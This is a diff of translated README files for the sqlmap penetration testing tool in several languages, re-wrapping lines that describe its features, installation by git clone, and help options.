Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut
dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Tautan Tautan
---- ----
* Situs: https://sqlmap.org * Situs: https://sqlmap.org
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues * Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,25 +2,32 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo
di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un
potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester
ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al
file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band.
Screenshot Screenshot
---- ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Nella wiki puoi visitare [l'elenco di screenshot](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) che mostrano il funzionamento di alcune delle funzionalità del programma. Nella wiki puoi visitare [l'elenco di screenshot](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) che mostrano
il funzionamento di alcune delle funzionalità del programma.
Installazione Installazione
---- ----
Puoi scaricare l'ultima tarball cliccando [qui](https://github.com/sqlmapproject/sqlmap/tarball/master) oppure l'ultima zipball cliccando [qui](https://github.com/sqlmapproject/sqlmap/zipball/master). Puoi scaricare l'ultima tarball cliccando [qui](https://github.com/sqlmapproject/sqlmap/tarball/master) oppure l'ultima
zipball cliccando [qui](https://github.com/sqlmapproject/sqlmap/zipball/master).
La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](https://github.com/sqlmapproject/sqlmap): La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma. sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](https://www.python.org/download/)
su ogni piattaforma.
Utilizzo Utilizzo
---- ----
@ -34,13 +41,16 @@ Per una lista di tutte le opzioni e di tutti i controlli:
python sqlmap.py -hh python sqlmap.py -hh
Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601). Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601).
Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (disponibile solo in inglese). Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e
controlli, insieme ad un gran numero di esempi, siete pregati di visitare
lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (disponibile solo in inglese).
Link Link
---- ----
* Sito: https://sqlmap.org * Sito: https://sqlmap.org
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom * RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki * Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -15,13 +15,15 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ
インストール インストール
---- ----
最新のtarballを [こちら](https://github.com/sqlmapproject/sqlmap/tarball/master) から、最新のzipballを [こちら](https://github.com/sqlmapproject/sqlmap/zipball/master) からダウンロードできます。 最新のtarballを [こちら](https://github.com/sqlmapproject/sqlmap/tarball/master)
から、最新のzipballを [こちら](https://github.com/sqlmapproject/sqlmap/zipball/master) からダウンロードできます。
[Git](https://github.com/sqlmapproject/sqlmap) レポジトリをクローンして、sqlmapをダウンロードすることも可能です。: [Git](https://github.com/sqlmapproject/sqlmap) レポジトリをクローンして、sqlmapをダウンロードすることも可能です。:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。 sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x**
がインストールされていれば、全てのプラットフォームですぐに使用できます。
使用方法 使用方法
---- ----
@ -35,13 +37,15 @@ sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**,
python sqlmap.py -hh python sqlmap.py -hh
実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。 実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。
sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用方法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) で確認することができます。 sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用方法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage)
で確認することができます。
リンク リンク
---- ----
* ホームページ: https://sqlmap.org * ホームページ: https://sqlmap.org
* ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* コミットのRSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom * コミットのRSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* 課題管理: https://github.com/sqlmapproject/sqlmap/issues * 課題管理: https://github.com/sqlmapproject/sqlmap/issues
* ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki * ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,25 +2,35 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის. sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი
ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების
ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი
ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან
მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში
ბრძანებათა შესრულებისათვის.
ეკრანის ანაბეჭდები ეკრანის ანაბეჭდები
---- ----
![ეკრანის ანაბეჭდი](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![ეკრანის ანაბეჭდი](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
შეგიძლიათ ესტუმროთ [ეკრანის ანაბეჭდთა კოლექციას](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), სადაც დემონსტრირებულია ინსტრუმენტის ზოგიერთი ფუნქცია. შეგიძლიათ ესტუმროთ [ეკრანის ანაბეჭდთა კოლექციას](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), სადაც
დემონსტრირებულია ინსტრუმენტის ზოგიერთი ფუნქცია.
ინსტალაცია ინსტალაცია
---- ----
თქვენ შეგიძლიათ უახლესი tar-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/tarball/master) დაწკაპუნებით, ან უახლესი zip-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/zipball/master) დაწკაპუნებით. თქვენ შეგიძლიათ უახლესი tar-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/tarball/master)
დაწკაპუნებით, ან უახლესი zip-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/zipball/master)
დაწკაპუნებით.
ასევე შეგიძლიათ (და სასურველია) sqlmap-ის ჩამოტვირთვა [Git](https://github.com/sqlmapproject/sqlmap)-საცავის (repository) კლონირებით: ასევე შეგიძლიათ (და სასურველია) sqlmap-ის ჩამოტვირთვა [Git](https://github.com/sqlmapproject/sqlmap)-საცავის (
repository) კლონირებით:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.6**, **2.7** და **3.x** ვერსიებთან. sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.6**, **2.7** და **3.x**
ვერსიებთან.
გამოყენება გამოყენება
---- ----
@ -33,13 +43,16 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ
python sqlmap.py -hh python sqlmap.py -hh
გამოყენების მარტივი მაგალითი შეგიძლიათ იხილოთ [აქ](https://asciinema.org/a/46601). sqlmap-ის შესაძლებლობათა მიმოხილვის, მხარდაჭერილი ფუნქციონალისა და ყველა ვარიანტის აღწერების მისაღებად გამოყენების მაგალითებთან ერთად, გირჩევთ, იხილოთ [მომხმარებლის სახელმძღვანელო](https://github.com/sqlmapproject/sqlmap/wiki/Usage). გამოყენების მარტივი მაგალითი შეგიძლიათ იხილოთ [აქ](https://asciinema.org/a/46601). sqlmap-ის შესაძლებლობათა მიმოხილვის,
მხარდაჭერილი ფუნქციონალისა და ყველა ვარიანტის აღწერების მისაღებად გამოყენების მაგალითებთან ერთად, გირჩევთ,
იხილოთ [მომხმარებლის სახელმძღვანელო](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
ბმულები ბმულები
---- ----
* საწყისი გვერდი: https://sqlmap.org * საწყისი გვერდი: https://sqlmap.org
* ჩამოტვირთვა: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ან [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * ჩამოტვირთვა: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
ან [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS არხი: https://github.com/sqlmapproject/sqlmap/commits/master.atom * RSS არხი: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* პრობლემებისათვის თვალყურის დევნება: https://github.com/sqlmapproject/sqlmap/issues * პრობლემებისათვის თვალყურის დევნება: https://github.com/sqlmapproject/sqlmap/issues
* მომხმარებლის სახელმძღვანელო: https://github.com/sqlmapproject/sqlmap/wiki * მომხმარებლის სახელმძღვანელო: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,7 +2,8 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다. sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외
연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다.
스크린샷 스크린샷
---- ----
@ -14,7 +15,8 @@ sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장
설치 설치
---- ----
[여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 클릭하여 최신 버전의 tarball 파일, 또는 [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 클릭하여 최신 zipball 파일을 다운받으실 수 있습니다. [여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 클릭하여 최신 버전의 tarball 파일,
또는 [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 클릭하여 최신 zipball 파일을 다운받으실 수 있습니다.
가장 선호되는 방법으로, [Git](https://github.com/sqlmapproject/sqlmap) 저장소를 복제하여 sqlmap을 다운로드 할 수 있습니다: 가장 선호되는 방법으로, [Git](https://github.com/sqlmapproject/sqlmap) 저장소를 복제하여 sqlmap을 다운로드 할 수 있습니다:
@ -34,13 +36,15 @@ sqlmap은 [Python](https://www.python.org/download/) 버전 **2.6**, **2.7** 그
python sqlmap.py -hh python sqlmap.py -hh
[여기](https://asciinema.org/a/46601)를 통해 사용 샘플들을 확인할 수 있습니다. [여기](https://asciinema.org/a/46601)를 통해 사용 샘플들을 확인할 수 있습니다.
sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록을 예제와 함께 보려면, [사용자 매뉴얼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)을 참고하시길 권장드립니다. sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록을 예제와 함께 보려면, [사용자 매뉴얼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)을 참고하시길
권장드립니다.
링크 링크
---- ----
* 홈페이지: https://sqlmap.org * 홈페이지: https://sqlmap.org
* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom * RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki * 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,25 +2,32 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen. sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL
injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele
niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het
overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's
op het besturingssysteem via out-of-band verbindingen.
Screenshots Screenshots
---- ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Je kunt de [collectie met screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) bezoeken voor een demonstratie van sommige functies in the wiki. Je kunt de [collectie met screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) bezoeken voor een
demonstratie van sommige functies in the wiki.
Installatie Installatie
---- ----
Je kunt de laatste tarball installeren door [hier](https://github.com/sqlmapproject/sqlmap/tarball/master) te klikken of de laatste zipball door [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) te klikken. Je kunt de laatste tarball installeren door [hier](https://github.com/sqlmapproject/sqlmap/tarball/master) te klikken of
de laatste zipball door [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) te klikken.
Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmapproject/sqlmap) repository te clonen: Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmapproject/sqlmap) repository te clonen:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.6**, **2.7** en **3.x**. sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.6**, **2.7** en
**3.x**.
Gebruik Gebruik
---- ----
@ -34,13 +41,16 @@ Om een lijst van alle opties en switches te krijgen gebruik:
python sqlmap.py -hh python sqlmap.py -hh
Je kunt [hier](https://asciinema.org/a/46601) een proefrun vinden. Je kunt [hier](https://asciinema.org/a/46601) een proefrun vinden.
Voor een overzicht van de mogelijkheden van sqlmap, een lijst van ondersteunde functies, en een beschrijving van alle opties en switches, samen met voorbeelden, wordt u aangeraden de [gebruikershandleiding](https://github.com/sqlmapproject/sqlmap/wiki/Usage) te raadplegen. Voor een overzicht van de mogelijkheden van sqlmap, een lijst van ondersteunde functies, en een beschrijving van alle
opties en switches, samen met voorbeelden, wordt u aangeraden
de [gebruikershandleiding](https://github.com/sqlmapproject/sqlmap/wiki/Usage) te raadplegen.
Links Links
---- ----
* Homepage: https://sqlmap.org * Homepage: https://sqlmap.org
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) of [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
of [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues * Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues
* Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki * Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,25 +2,32 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalających na dostęp do systemu plików o uruchamianie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i
testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele
niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy
danych, poprzez wydobywanie z nich danych, a nawet pozwalających na dostęp do systemu plików o uruchamianie poleceń w
systemie operacyjnym serwera poprzez niestandardowe połączenia.
Zrzuty ekranowe Zrzuty ekranowe
---- ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Możesz odwiedzić [kolekcję zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrującą na wiki niektóre możliwości. Możesz odwiedzić [kolekcję zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrującą na wiki
niektóre możliwości.
Instalacja Instalacja
---- ----
Najnowsze tarball archiwum jest dostępne po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master) lub najnowsze zipball archiwum po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master). Najnowsze tarball archiwum jest dostępne po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master)
lub najnowsze zipball archiwum po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master).
Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/sqlmapproject/sqlmap): Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na dowolnej platformie systemowej. do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na
dowolnej platformie systemowej.
Sposób użycia Sposób użycia
---- ----
@ -34,13 +41,15 @@ Aby uzyskać listę wszystkich funkcji i parametrów użyj polecenia:
python sqlmap.py -hh python sqlmap.py -hh
Przykładowy wynik działania dostępny jest [tutaj](https://asciinema.org/a/46601). Przykładowy wynik działania dostępny jest [tutaj](https://asciinema.org/a/46601).
Aby uzyskać listę wszystkich dostępnych funkcji, parametrów i opisów ich działania wraz z przykładami użycia sqlmap proponujemy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Aby uzyskać listę wszystkich dostępnych funkcji, parametrów i opisów ich działania wraz z przykładami użycia sqlmap
proponujemy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Odnośniki Odnośniki
---- ----
* Strona projektu: https://sqlmap.org * Strona projektu: https://sqlmap.org
* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
